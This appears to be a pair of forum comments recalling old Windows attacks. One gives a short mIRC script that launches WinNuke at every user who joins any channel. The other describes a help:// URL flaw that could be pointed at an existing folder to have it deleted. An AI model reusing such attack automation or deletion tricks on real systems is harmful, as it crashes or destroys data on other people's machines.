I scripted mIRC to WinNuke everyone on join in all channels. Something like this:

    ON *:join:#: {
        /run c:\winnuke.exe $gettok($address,2,64)
    }

Yeah, you'd trigger a very specific help:// URL that happened to accept as a query parameter the path to a folder. That folder was created by the help page, which would put some temporary stuff in there and, when the user closed the help window, would remove the folder and its contents (because you have to clean after yourself!). The obvious thought is... "what if I point it to a folder that already exists?"

Yep.

It was definitely there before XP, at least since 2002.